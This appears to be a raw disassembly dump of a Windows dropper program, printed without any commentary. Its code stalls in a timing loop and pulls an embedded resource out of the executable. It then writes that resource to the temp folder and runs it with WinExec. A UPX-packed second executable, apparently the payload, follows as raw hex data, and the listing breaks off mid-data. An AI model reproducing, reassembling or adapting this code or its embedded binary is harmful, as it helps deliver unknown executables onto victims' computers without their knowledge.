; Attributes: thunk sub_3D67DC proc near ; CODE XREF: .data:003D686Ap jmp dword_406100 sub_3D67DC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset byte_403409 push dword ptr fs:[eax] mov fs:[eax], esp inc dword_405660 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403410 retn ; --------------------------------------------------------------------------- db 0E9h, 7Ah, 0F5h dd 0F8EBFFFFh, 0C08BC35Dh, 56602D83h, 0C3010040h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFCF4h push ebx push esi push edi mov esi, [ebp+10h] mov eax, 0 loc_3D6830: ; CODE XREF: .data:003D683Cj inc eax nop nop nop add ecx, 1 cmp eax, 56904055h jl short loc_3D6830 xor eax, eax lea eax, [ebp-309h] push eax push 104h call sub_3D67A4 or edi, 0FFFFFFFFh mov eax, [ebp+0Ch] push eax push esi push 0 call sub_3D679C mov ebx, eax push esi lea eax, [ebp-205h] push eax call sub_3D67DC lea eax, [ebp-205h] push eax lea eax, [ebp-309h] push eax call sub_3D67D4 push 1 push 80h push 2 push 0 push 2 push 40000000h lea eax, [ebp-309h] push eax call sub_3D6784 mov esi, eax push 0 lea eax, [ebp-4] push eax push ebx push 0 call sub_3D67BC push eax push ebx push 0 call sub_3D67AC push eax call sub_3D67B4 push eax push esi call sub_3D67CC push esi call sub_3D677C push 5 lea eax, [ebp-309h] push eax call sub_3D67C4 mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset byte_403507 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40350E retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF47Ch, 0C35DF8EBh, 5, 403518h, 40333Ch, 40330Ch dd 403130h, 4030DCh, 403374h, 403344h, 403414h, 4033E4h dd 0 dd offset loc_4034E8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov eax, offset dword_403510 call sub_3D66C8 push 0 push offset loc_40341C push 0Ah push 0 call sub_3D678C push 0 call sub_3D6794 call sub_3D61FC ; --------------------------------------------------------------------------- dd 27h dup(0) dd offset word_408D02 dd 0C08B1332h, 3 dup(408D00h), 2 dup(0) dd offset sub_401E64 dd offset sub_401FF4 dd offset loc_402374 dd 0C8CCCB00h, 0C8CFD7C9h, 0D8DBCECDh, 0DCCAD9DAh, 0E0DFDEDDh dd 0E400E3E1h, 408DE5h, 6F727245h, 0C08B0072h, 746E7552h dd 20656D69h, 6F727265h, 20202072h, 74612020h, 30303020h dd 30303030h, 0C08B0030h, 33323130h, 37363534h, 42413938h dd 46454443h, 0FFFFFFFFh, 61h dup(0) dd 6138h, 6078h, 3 dup(0) dd 62C0h, 60D0h, 3 dup(0) dd 62ECh, 60DCh, 3 dup(0) dd 632Ch, 60ECh, 3 dup(0) dd 6378h, 6100h, 5 dup(0) dd 6146h, 615Eh, 6176h, 618Eh, 61AAh, 61B8h, 61C8h, 61D4h dd 61E2h, 61F0h, 6206h, 6218h, 622Ah, 623Ch, 624Eh, 625Ch dd 626Ah, 6276h, 6292h, 629Eh, 62B0h, 0 dd 62CCh, 62DEh, 0 dd 62FAh, 630Eh, 631Eh, 0 dd 633Ah, 6348h, 6356h, 6364h, 0 dd 6386h, 6392h, 639Eh, 63AAh, 63B4h, 63C6h, 63D6h, 63E6h dd 63F6h, 6406h, 6414h, 642Ah, 6438h, 0 aKernel32_dll_1 db 'kernel32.dll',0 align 4 aDeletecritical db 'DeleteCriticalSection',0 align 10h aLeavecriticals db 'LeaveCriticalSection',0 align 4 aEntercriticals db 'EnterCriticalSection',0 align 10h aInitializecrit db 'InitializeCriticalSection',0 align 4 aVirtualfree db 'VirtualFree',0 dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0 aGetversion db 'GetVersion',0 align 10h dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h dd 0 aGetthreadlocal db 'GetThreadLocale',0 dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4C746547h dd 6C61636Fh, 666E4965h, 416Fh, 65470000h, 6D6F4374h, 646E616Dh dd 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h, 78450000h dd 72507469h, 7365636Fh, 73h, 74697257h, 6C694665h, 65h dd 61686E55h, 656C646Eh, 63784564h, 69747065h, 69466E6Fh dd 7265746Ch, 0 aRtlunwind db 'RtlUnwind',0 align 10h aRaiseexception db 'RaiseException',0 align 10h dd 65470000h, 64745374h, 646E6148h, 656Ch, 72657375h, 642E3233h dd 6C6Ch, 65470000h, 79654B74h, 72616F62h, 70795464h, 65h dd 7373654Dh, 42656761h, 41786Fh, 61766461h, 32336970h dd 6C6C642Eh, 0 aRegqueryvaluee db 'RegQueryValueExA',0 align 10h aRegopenkeyexa db 'RegOpenKeyExA',0 align 10h aRegclosekey db 'RegCloseKey',0 aKernel32_dll_2 db 'kernel32.dll',0 align 4 aTlssetvalue db 'TlsSetValue',0 dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch dd 636Fh, 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 aLstrcpya db 'lstrcpyA',0 align 4 aLstrcata db 'lstrcatA',0 align 10h aWritefile db 'WriteFile',0 align 4 aWinexec db 'WinExec',0 dd 69530000h, 666F657Ah, 6F736552h, 65637275h, 0 aLockresource db 'LockResource',0 align 4 aLoadresource db 'LoadResource',0 align 4 aGettemppatha db 'GetTempPathA',0 align 4 aFindresourcea db 'FindResourceA',0 align 4 aExitprocess db 'ExitProcess',0 dd 6E450000h, 65526D75h, 72756F73h, 614E6563h, 4173656Dh dd 0 aCreatefilea db 'CreateFileA',0 dd 6C430000h, 4865736Fh, 6C646E61h, 65h, 6Eh dup(0) dd offset dword_407000 dd offset dword_407008 dd offset dword_404084 dd offset dword_408010 dd 7Ch dup(0) dd 1000h, 11Ch, 300A3002h, 301A3012h, 302A3022h, 303A3032h dd 304A3042h, 305A3052h, 306A3062h, 307A3072h, 30AE3082h dd 30BE30B6h, 30CE30C6h, 30DE30D6h, 30EF30E6h, 31183110h dd 31873180h, 334632CFh, 33DB3395h, 346433EEh, 34E934A8h dd 3529351Dh, 35D73544h, 37623726h, 378A377Fh, 379D3795h dd 37B137A7h, 37D137BBh, 37E537D7h, 380237F8h, 38163808h dd 3824381Ch, 38423836h, 385D3851h, 38703865h, 38833876h dd 38A33889h, 38B438AAh, 38C838BEh, 38DF38D4h, 38F638F0h dd 390838FEh, 392A391Fh, 3963394Bh, 399A3982h, 39E239A2h dd 3A4739F8h, 3A853A67h, 3BBC3BAFh, 3BF53BEFh, 3C173C0Eh dd 3C2B3C20h, 3C3B3C34h, 3C513C4Ah, 3CCC3C73h, 3D593CD4h dd 3D7C3D77h, 3DEE3D82h, 3E043DF4h, 3E523E0Dh, 3E713E5Bh dd 3EA33E97h, 3EDE3EABh, 3F223F08h, 3F553F4Ch, 3F6D3F65h dd 3F7C3F73h, 3F883F83h, 3FA13F8Eh, 3FC83FAAh, 3FD63FCEh dd 2000h, 114h, 30063000h, 30303018h, 3044303Ch, 306A305Bh dd 309A307Ah, 30D630B2h, 30E430DEh, 311C30EAh, 315E3140h dd 3174316Eh, 31E1317Ch, 31F531ECh, 320B31FBh, 32653214h dd 327C326Ch, 328C3286h, 329A3294h, 32A732A0h, 335832B1h dd 339F3381h, 33B333ABh, 3413340Dh, 343F341Bh, 347A345Fh dd 349C348Fh, 356D34BCh, 3699365Ah, 36BF36A9h, 36F336DDh dd 371F370Ah, 376E3759h, 378A3782h, 37B837A0h, 37FA37C6h dd 38223816h, 38403836h, 38833853h, 38B938B0h, 38F438EBh dd 39303929h, 399F3952h, 3B0F39C7h, 3B3E3B37h, 3B783B56h dd 3BB43BACh, 3BEB3BBFh, 3C4B3C00h, 3C723C5Eh, 3CAA3CA6h dd 3CB43CB0h, 3CC03CB9h, 3CCE3CC6h, 3CE83CD9h, 3D1C3CF0h dd 3D443D27h, 3D733D4Eh, 3D873D7Dh, 3D953D8Fh, 3DBE3DA3h dd 3DDD3DD3h, 3E013DE2h, 3E0B3E06h, 3E413E2Dh, 3EAF3EA6h dd 3EE23ED5h, 3FAA3F99h, 3FF13FEAh, 3000h, 0B8h, 30213003h dd 3036302Ah, 3078303Dh, 30E330C1h, 30F630EFh, 310A3100h dd 31323121h, 3146313Fh, 3150314Ah, 315A3154h, 31653161h dd 3188317Fh, 319D3191h, 31CE31A7h, 31F431E3h, 320631FEh dd 3216320Eh, 3246321Eh, 327E3270h, 329C3283h, 32BD32ACh dd 32DA32CEh, 32E432DFh, 32F232EBh, 331332FCh, 332C331Fh dd 334B333Eh, 33643357h, 337E3376h, 338E3386h, 339E3396h dd 33AE33A6h, 33BE33B6h, 33CE33C6h, 33DE33D6h, 33F733EBh dd 34163404h, 350234EFh, 35183514h, 3520351Ch, 35283524h dd 3530352Ch, 353C3534h, 35533547h, 4000h, 10h, 30283024h dd 302Ch, 8000h, 14h, 30043000h, 300C3008h, 40h dup(0) dd 4, 10000h, 0Ah, 80000018h, 2 dup(0) dd 4, 2, 80000088h, 80000038h, 80000094h, 80000050h, 2 dup(0) dd 4, 10000h, 0 dd 68h, 2 dup(0) dd 4, 10000h, 0 dd 78h, 0A0A0h, 0D400h, 4E4h, 0 dd 174A0h, 0A800h, 4E4h, 0 dd 300005h, 45002Eh, 450058h, 310005h, 45002Eh, 450058h dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0D8h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 5BB36322h, 3 dup(8DD0266h), 8A0C441h, 8DD0262h, 8B0C441h dd 8DD026Ch, 8DC0266h, 8DD024Fh, 8800DA5h, 8DD026Fh, 8ACC441h dd 8DD0265h, 8A1C441h, 8DD0267h, 8A5C441h, 8DD0267h, 68636952h dd 8DD0266h, 2 dup(0) dd 4550h, 3014Ch, 46D6FF0Dh, 2 dup(0) dd 10300E0h, 8010Bh, 0D000h, 1000h, 5000h, 123B0h, 6000h dd 13000h, 400000h, 1000h, 200h, 4, 0 dd 4, 0 dd 14000h, 1000h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 138B4h, 0E4h, 13000h, 8B4h, 0Eh dup(0) dd 13998h, 48h, 0Ah dup(0) aUpx0 db 'UPX0',0 align 4 dd 5000h, 1000h, 0 dd 400h, 3 dup(0) dd 0E0000080h, 31585055h, 0 dd 0D000h, 6000h, 0C600h, 400h, 3 dup(0) dd 0E0000040h, 7273722Eh, 63h, 1000h, 13000h, 0A00h, 0CA00h dd 3 dup(0) dd 0C0000040h, 64h dup(0) dd 32000000h, 32302Eh, 21585055h, 902090Dh ; --------------------------------------------------------------------------- loc_3D7C88: ; CODE XREF: .data:003D7CC0j rol word ptr [edx+61h], cl mov al, 0BCh db 2Eh nop sub [ebx], eax add [eax], eax scasb retn ; --------------------------------------------------------------------------- align 4 dd 11000h, 1A000026h ; --------------------------------------------------------------------------- loc_3D7CA0: ; CODE XREF: .data:003D7CBEj outsd ; --------------------------------------------------------------------------- db 3 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3Ch mov eax, dword_40E000 xor eax, ebp mov [ebp-4], eax push esi push edi push 6 pop ecx mov esi, 8D0E2068h jge short loc_3D7CA0 jg short loc_3D7C88 mov esi, 66A5F3FBh movsd movsb ; --------------------------------------------------------------------------- db 0Fh, 0FFh, 75h dd 1284BE08h, 0E0458DC4h, 0FFFFFFA4h, 0E8DBh, 59C085A8h dd 14745E5Fh, 2BE04D8Dh, 0DC083C1h, 591A6A99h, 448AF9F7h dd 6D86F915h, 27EBE0EEh, 25C42632h, 0EEFFC423h, 0EBC40BFFh dd 8458A03h, 33FC4D8Bh, 560325CDh, 8B56C3C9h, 0FB7D0FF0h dd 6B6FFEDh, 0EBF98B57h, 64E8500Dh, 78800FFh, 7D8A4647h dd 0EF75C084h, 0ADFFFF6Dh, 0EBC3680Ah, 244C3A07h, 40077404h dd 0C984088Ah, 2A05F375h, 0DFF63FB7h, 1BD9F60Eh, 23D1F7C9h dd 54C9C3C1h, 33446A56h, 56AC79F6h, 0BBEDDDB7h, 7C045550h dd 0C0CC483h, 501050F0h, 16A0056h, 6BBCD6E6h, 45C79803h dd 75644ACh, 0DBFB81D8h, 8966FEEFh, 15FFDC75h, 0D8F7DF2Ch dd 5E40C01Bh, 0AC8D5589h, 80FE6824h, 7DA10FB7h, 218EC81h dd 94851C1Fh, 858B0C01h, 0B8285FC3h, 2A2505A0h, 0B8FF3380h dd 9814D710h, 4D7DFDFBh, 887D898Ch, 48B887E9h, 0B908D0Fh dd 6EEB660Fh, 8C847AB6h, 80456850h, 0E1FD0C62h, 3BE36FDDh dd 0B3850FF7h, 1D8B531Dh, 88455308h, 0ECE65750h, 8D00BBEDh dd 9D503585h, 23D3FF84h, 0E6F6CF85h, 41C81B6h, 6A88156Eh dd 0F83C3F40h, 0F63B585Fh, 6D74FF85h, 1006A34h, 75F68536h dd 0B66B7FDDh, 5720554Bh, 387C800Eh, 358B2CFFh, 0D740D38h dd 8F7DB73h, 14D75468h, 58028D6h, 5B606D0Dh, 474025D7h dd 4A88CC01h, 0B66633A9h, 8570491h, 23001140h, 5B70FC2Ch dd 5F028D8Bh, 5EB3C68Bh, 16E181B4h, 98C5DD0Eh, 2B7BC910h dd 0A61B0A0Ch, 6848977Bh, 13441B8h, 0D9BF850Fh, 56CE84BEh dd 326A240Eh, 0F7D23359h, 45928F1h, 63F886F7h, 895048Bh dd 1BAD2F33h, 68ECDAFBh, 1F909D58h, 0D415A750h, 0C2FFBBB5h dd 74C63BD8h, 6856533Fh, 26A2C80h, 77B60856h, 4007D74Dh dd 4A831C1Ch, 562074D8h, 0CB6EF435h, 0B41A76EDh, 23104900h dd 20281F53h, 0C6F8C719h, 5EC31806h, 74C03372h, 0B39096C8h dd 58B308B9h, 0E16F76DEh, 0BD952F74h, 42022A82h, 1E755F0Fh dd 0C1765E4Bh, 11011092h, 0FE0D7559h, 0E301FBh, 0C2CC59C6h dd 0D3B0010h, 0F3027551h, 0BCBDE9C3h, 6512EB1Ch, 0A3032868h dd 0D89E1E8h, 0F3E7CDE4h, 0E01505F9h, 0D835DC1Dh, 2366D43Dh dd 8C85BF9Fh, 0D06E26Fh, 0D01DE1F4h, 0C8E6F305h, 0C825CC91h dd 8F9CC42Dh, 0EEF9F805h, 458B6DB1h, 407EC56h, 8D0FF0A3h dd 0FCA30845h, 0F6FBAEBDh, 0FFCEE085h, 0B3805C7h, 1CA10101h dd 0AE6DDEDCh, 0E0139729h, 40905h, 0E0E41DC0h, 0E1046DDBh dd 32D8E602h, 0B80A04A1h, 0DC1982EEh, 3420140Eh, 6B613930h dd 54296A7Ch, 142C5969h, 3DEDA944h, 460EE0Bh, 203D487Eh dd 0EF6CD6EEh, 682308B0h, 504C1B5Bh, 17DDB206h, 836C50CCh dd 24E41025h, 0AD00CCC3h, 8BFE9BC2h, 8B0C2454h, 74D285C6h dd 0BF179469h, 24D377EDh, 8116EE08h, 0E7290FAh, 74300C55h dd 0AEFFFD05h, 4D05420Dh, 4FA831Ah, 0D9F73172h, 7403E183h dd 0CDD12B0Ch, 156FFFF7h, 8301C783h, 0F67501E9h, 0E0C1C88Bh dd 6C10308h, 0ACE7CA10h, 0E283DBFBh, 7402E905h, 58ABF306h dd 97EA270Ah, 6076EACEh, 405C35Fh, 0FCBA042Fh, 0B7F5BC8Bh dd 0C867DAEh, 0F66072Eh, 0B6EBC0EFh, 3C0024A4h, 90D6DDDFh dd 7F117F0Dh, 20041047h, 0CF3F1F30h, 605040F3h, 8DBF8D70h dd 0D9CE1649h, 8BD075EEh, 565DE549h, 0ED998310h, 0AD97FBD2h dd 0FA2BFA33h, 60FE783h, 683C75B8h, 0EDFFEB19h, 9CD18B10h dd 0F455897Fh, 1274CA3Bh, 0A751CA2Bh, 66BBFF6h, 150D835Ah dd 450345AEh, 0EEC22B10h, 881ADB6Dh, 0F853C03Bh, 0AAF3F431h dd 0BAF9671Bh, 0F72EEBF6h, 0F058C5DFh, 0B7F00816h, 0F0B5CDF0h dd 0C8F23507h, 9552D02Bh, 98594B51h, 4D05659Dh, 8728E0Ch dd 0DDDEDFA6h, 0A3400618h, 6AC33D0Ah, 62C0680Ch, 7FDB8173h dd 6583B013h, 28C700FCh, 1E40BC1h, 6DEDDA97h, 0EC3A23EBh dd 3D01008Bh, 0A010C05h, 0E6C2ED3Dh, 3061DBEh, 37400234h dd 2B2FE865h, 0E48D4A39h, 6EF4233Bh, 676D3332h, 0F2F5425Fh dd 3C532018h, 0E16D8502h, 53B9F46Eh, 358A589Ch, 0F6FB201Ch dd 9DE17DBBh, 74A85A9Ch, 1F9D511Fh, 5D1DA20Fh, 0D776FCE8h dd 89ECEDBDh, 126FB8BEh, 5BF83355h, 7D353AF7h, 0DC0EB80Bh dd 7CF0C20Eh, 6359C905h, 2EB70DBh, 0BC365B04h, 4B28360Ch dd 17D6338Eh, 5B663520h, 0CAA61C30h, 8D036C13h, 0D6C636A5h dd 571BE02Bh, 0CA4D31C4h, 0DA142B58h, 72AE8950h, 86B00B40h dd 672E076Fh, 37A3640Ch, 341B40C3h, 8564A578h, 5B5BC30Ah dd 0D7B605Ah, 0C85B512Bh, 375C9814h, 0A5D837DEh, 8738D55h dd 764C3533h, 0ADBF8306h, 0C6E54B6Dh, 4F91368h, 7B8DB618h dd 0FFE91685h, 8B0D7410h, 0CF03044Eh, 0F1380C33h, 0F0B8740Ch dd 846D96Eh, 0F628970Fh, 855A0440h, 0E3B1BD1Fh, 0C6B353Fh dd 0E7FEFD83h, 1CEF8D30h, 0B7FC4489h, 0B03CDFFh, 0FC538920h dd 448D5E74h, 864C1E6Dh, 8DC98514h, 0D95865Ch, 31C6DDFh dd 1674141Ch, 907D78Bh, 75DE0596h, 7C0176FFh, 504C7F44h dd 0E88B8614h, 76D9CD75h, 8A76C595h, 86962474h, 0BF77DD18h dd 5B5DE377h, 0BCC31413h, 88C6EBEFh, 0F1398128h, 63FD2C8Eh dd 75E06D73h, 2104622Ah, 0D4D40768h, 0A3434D0h, 9A108004h dd 0AF1EDB28h, 0BC52CDB4h, 2C35A018h, 0FE138595h, 2C54C6EEh dd 740C6839h, 0D51E6813h, 0EEF611EBh, 24E0177Ch, 0C488914h dd 0C9ED9B9Bh, 4B3A56C8h, 0ADE9E608h, 0D8660E83h, 0FE0C7BE0h dd 51A25021h, 0B0A1BACBh, 54AF1D8Bh, 97B70720h, 74DFF1D9h dd 62108F9Dh, 52551814h, 68515150h, 0E1A11938h, 0BE079204h dd 0D6083DC4h, 6307B1F0h, 8B301925h, 1933B558h, 5ADF708Bh dd 0FE80B6DDh, 34433B90h, 3B040843h, 0DCD576F2h, 8D2EF0B2h dd 0B3737634h, 0BB82B00Bh, 0AEB1B0FBh, 0AC015975h, 0C790843h dd 780BB94Dh, 0C987E05h, 64B0EB6Ch, 0FF70566Ah, 500850DAh dd 0F7B3C35Bh, 11060441h, 0C75F8DB1h, 5A3374C8h, 0C833488Bh dd 0DAD969DCh, 1868134Bh, 100274FFh, 0FF1E9614h, 0A408B35Eh dd 89C6235Dh, 8403B802h, 0DBBDB2D9h, 29104C25h, 21C71FFh dd 37282818h, 0C236DA36h, 89F1558Dh, 0DB33F1EAh, 12836176h dd 0E33F92Ch, 98785BD1h, 5DCBF03Bh, 8BF18BEAh, 1DA265C1h dd 0F3530617h, 0E6D233C9h, 0E9142485h, 68E1AFBAh, 205117DFh dd 655DAA70h, 68565E6Ch, 37515271h, 8603Bh, 4DD1BA4h, 0B66C77Fh dd 0D6E45A4Dh, 8B7817C0h, 81373C41h, 0C9455038h, 408658F0h dd 7818B7FBh, 0F010B18h, 0B370C194h, 0E95BF6B7h, 0C82504E5h dd 1441B70Fh, 671056Fh, 68B637F0h, 0C657777Eh, 1E761808h dd 37C27C8Bh, 4C9EC17Ch, 972F93Bh, 3BD9037Ah, 3D5972FBh dd 0C2C0BFB4h, 3B28C07Ah, 60E672D6h, 0D724CC39h, 0B50084BBh dd 0E068FE6Ah, 0D2D2D58Eh, 84C7C28Bh, 32CA0885h, 0F85CC925h dd 8639D3B7h, 9CD6789h, 0FC09AFFCh, 3AEBEC3Ch, 132DF455h dd 2C0A1950h, 0B305FFD6h, 2440F508h, 0F71FE8C1h, 1E083D0h dd 4B49D7BBh, 0C3FCFD1Ah, 0B562DEF7h, 0CC018A85h, 8BC2F3F9h dd 82D656C2h, 0BA2FEFBDh, 423A1C31h, 55A5BBF7h, 281B5472h dd 63B3195Ch, 205D702Bh, 637B3223h, 0FC14D2C9h, 5228507Ch dd 66194B03h, 0AE522477h, 61229D0Bh, 97E1B191h, 265055E3h dd 1DEF1B5Ch, 18850C13h, 28EF198Fh, 38F0B85Bh, 833AEAE9h dd 74062C8Ah dd 67971DDh, 2D76743Bh, 0B30C8BE9h, 4F190C73h, 7CEA7E3Ah dd 4417EBB3h, 7BC6ECB3h, 0E808B31Fh, 0ECEAB6B7h, 5B763DF6h dd 0F8B64FDh, 83047981h, 7BBBB675h, 0CB51D2FFh, 51390C52h dd 0DA057508h, 0D0BB51A6h, 0DE97191h, 80BEBB6h, 89E06B8Bh dd 0D837E343h, 55FB612Ah, 5D5958E5h, 0CAD55B59h, 0FFB0BC5Ch dd 25FF37D0h, 0AF000E30h, 65A02D5Eh, 0FE25E07Dh, 434241FFh dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 545352BDh, 0E5B6FFFFh dd 235A16E1h, 64636261h, 68676665h, 6C6B6A69h, 0EF6F6E6Dh dd 70FFEEFFh, 74737271h, 78777675h, 631B7A79h, 72676267h dd 722E6770h, 7F4F726Bh, 6EEC7FD8h, 630A7479h, 65726972h dd 176C7376h, 72786E7Ah, 0D9E4FF75h, 710D7AB3h, 707A076Ah dd 61716168h, 0FECF7A6Eh, 0C72B1D9h, 6524717Ah, 7679616Eh dd 7A691F6Fh, 0FFB1F61Bh, 72656E6Ah, 6E73682Dh, 61691071h dd 0B1C6772h, 0DB6B05BFh, 68036E9Ah, 7076699Bh, 0DDB37272h dd 687AEDD9h, 65621379h, 61136614h, 0DB59A266h, 7070FB06h dd 2B63636Eh, 5771156Ah, 0EC3EDB39h, 703207BBh, 0AF737362h dd 0E776F62h, 0E47DBE63h, 34743B59h, 712B2B07h, 0DE6A7979h dd 9FACEC1Eh, 75137045h, 67EF636Ch, 0C1B67A65h, 726843FEh dd 33677671h, 6A745B32h, 0BECDA16Dh, 6FC919CDh, 0B74767Ah dd 0C93051F4h, 225836h, 6E6E617Bh, 4EAE6DB6h, 67624C0Eh dd 0B64FC272h, 180B61F6h, 71781F75h, 791E926Fh, 0C3F6B061h dd 3833760Fh, 71471336h, 42B58D17h, 71746F3Bh, 42370BDFh dd 7B9860A1h, 94AC699Bh, 5C28584Eh, 63D41879h, 85B96138h dd 66C65093h, 0D61AD6Ch, 0B092D6D8h, 3AD76280h, 9E0D764Ch dd 763FB26Ch, 366A6E71h, 87740B34h, 0BA34366Eh, 63439424h dd 67664F3Fh, 8C1AC377h, 700F2772h, 750D7875h, 0B59BC670h dd 0B328175h, 5BF07318h, 66BBB61Bh, 6F9844ECh, 78706279h dd 82858947h, 999008E0h, 964190EBh, 0FFFF044Dh, 0FFCB40B8h dd 4F001BBh, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 0DADF0A54h dd 2073D31Bh, 61EC6070h, 8F63206Dh, 176C6F6Fh, 0A820749Ch dd 206EA920h, 4F440269h, 7C07BB53h, 6F6D20E3h, 0D0D2EFAh dd 5503730Ah, 87F77C75h, 1129AAFCh, 867AC414h, 107ABAD0h dd 0B9D23607h, 0D8F7037Ah, 7AAA8F23h, 4E7AA90Eh, 807AC523h dd 8F636017h, 991BD27Ch, 7AB5187Ah, 37B8071Dh, 0D8FBD91Ah dd 695207BCh, 0B34F6863h, 1F6A9749h, 0F1014CEAh, 0B346D613h dd 217CB74Fh, 10B0101h, 1011B008h, 0B9D84D01h, 1B0270Bh dd 1C0030Bh, 0EF64B70Dh, 270217F0h, 0D01B0700h, 0CD9D8101h dd 10401E26h, 58E50007h, 0B42F06B2h, 0D6457BC8h, 0B45752EEh dd 0C9CC6708h, 2050BB3Fh, 4F2F486Ch, 72093058h, 0AF37B236h dd 0F68027C4h, 0E0CD221Dh, 0A4FF0B31h, 30DEC327h, 733D4057h dd 83DC6372h, 0C0BA6929h, 0C0A80C27h, 0A040B88Ah, 3230090Ah dd 7FFFC56Eh, 90D21F7h, 2A690902h, 0B18E2F1Eh, 0C089BA31h dd 52EAA06Fh, 7EF219Bh, 7736F926h, 0FD5DD5BDh, 3128481Ch dd 0FA748D56h, 6DE85657h, 14BF52FFh, 8B56EE2Dh, 0A57E3F8h dd 0F783BC2Eh, 0FFC41FDBh, 0FE1B41BFh, 4E8B8EC7h, 74C98530h dd 2C46FF13h, 0FFC1028Bh, 0E0C1B817h, 0DF1ED202h, 362F7FB4h dd 6A0EEB59h, 0FFC73304h, 168E537Fh, 0FD08C804h, 89EEBBEDh dd 59243046h, 81548932h, 0B52FFDFCh, 904DC3D4h, 0DF7CD10Ch dd 4BFFF6Ch, 0FF1C478Bh, 9E5DF52Fh, 0C4E8D06h, 200C1751h dd 244F8B0Ah, 0E6DFDB8Dh, 0FFFD02D8h, 10314CFFh, 50090446h dd 595C0078h, 777E063Fh, 9A0E612Ch, 3D8B5911h, 0C4BFFB7Fh dd 8F234D38h, 466ADDDCh, 501E2034h, 8330760Fh, 0FF976EE9h dd 0EDE97FEDh, 30B03466h, 2C060CC4h, 0F9342B00h, 77849DC0h dd 8D20EB34h, 0AB7FFF46h, 0FF500CFFh, 1857FF8Dh, 0D06F883h dd 0ADFFB7EEh, 75010814h, 0EB368B07h, 4BB7AB03h, 7F768BFDh dd 0D4DC75F6h, 0B7CBDDEDh, 0FFC603C6h, 51AADFFFh, 8BDB3365h dd 345E39F0h, 0FC5D8957h, 0E0F1840Fh, 0C2F86EFFh, 0FFFFFFF7h dd 0FE8BCF56h, 3B24E171h, 0F7459FBh, 0B6C33B20h, 0C7E9A76Dh dd 2889394Eh, 0ADFFFF13h, 0D82724FEh, 0CFB5DBAh, 2A6E387Ch dd 0E98CAC29h, 0B9BB0207h, 7E045DBFh, 0FFFFFF34h, 2D7433FFh dd 478DDF8Bh, 56FF4988h, 0A7B7DD87h, 0B160F19h, 0EB3F8B19h dd 0C37F0505h, 8B6B7B76h, 0FF00BF1Fh, 2EBD9FFh, 78DB850Ah dd 0B66D59B4h, 0E8C6FED6h, 18755B52h, 6A89A310h, 5FFFFFABh dd 0BB9CCD80h, 4924763Fh, 0BD796648h, 8B3DB776h, 0FFFF7C37h dd 1B7ADFFFh, 7612C083h, 9B9BFFBAh, 8919F273h, 8915EB03h dd 8B14EB3Bh, 170B2003h, 0BF407846h, 89FFFF11h, 2176047Bh dd 0AEE83CDFh, 0DCDADFB9h, 7BE175FDh, 7F6F3074h, 0D5BFFF6Eh dd 8C2B5FFh, 2A71267Bh, 0F285C2E4h, 8B1C773Bh, 0C95BAF34h dd 0F6FE3B4Fh, 0FFFFEAEEh, 0DE2C41FFh, 48197656h, 30498BE7h dd 1381148Dh, 23C28308h, 4EAFE5Ch, 74323B48h, 0DFFFF0BFh dd 4475F0C5h, 0DF770481h, 833FDB0Ch, 65835CECh, 0BFBC50B8h dd 0FF45C75Bh, 0A8FFFFFFh, 0F97E5F01h, 674523EDh, 0AB89AC06h dd 0FEB0EFCDh, 0B498BADCh, 0B7325476h, 108599FBh, 0FF8040DEh dd 4DFFFFFFh, 0F11075A8h, 0B7CB879Dh, 110A75DFh, 59087D8Fh dd 106A5E59h, 0B1E1BBF3h, 3116037Bh, 9741951h, 0CFF04FEh dd 0F193C933h, 42BE17F6h, 0FFC883FBh, 0FFFFFF76h, 424807Fh dd 4BC743FFh, 0C259469Fh, 0E1BF0104h, 1CC76612h, 78C468D0h dd 386A5643h, 0E3230DE6h, 0C6FFC0BFh, 0F4B1D30Dh, 6130562Fh dd 0D2F6721Ch, 0FA6D48E6h, 0FF180718h, 137FD77Fh, 0CD847B19h dd 5C2406B7h, 5EBB0428h, 3AE2C35Fh, 5F6C7F6Eh, 0FFF8E4DCh dd 0A1FFFFFFh, 2F417C5Ch, 0F65E24ECh, 0D1BDCEDBh, 74D8155Ch dd 0C85FB64Fh, 35590EADh, 89B785CEh, 0FF3F74B6h, 50FFFFFFh dd 1242450h, 0B4BEDC67h, 183B8D72h, 159A5A5h, 8DFAA553h dd 6BFDDDBFh, 50142022h, 7F22C38Bh, 1FFFFC0h, 0F7235913h dd 0F61B59DEh, 0B46777E3h, 5FEF0553h, 0C351BA71h, 0FE0DFADBh dd 6DBC6FFFh, 703D6055h, 346F8DCAh, 5CA45D39h, 80A36A9h dd 0FFC18141h, 49B217FFh, 0DB0A9613h, 0C5470275h, 0FB4E0C99h dd 2C4BF7D8h, 0FF5C8DCFh, 2FB85FFFh, 0E0425F7Dh, 0ECFE5343h dd 9E17B7BEh, 3E741077h, 8B34D832h, 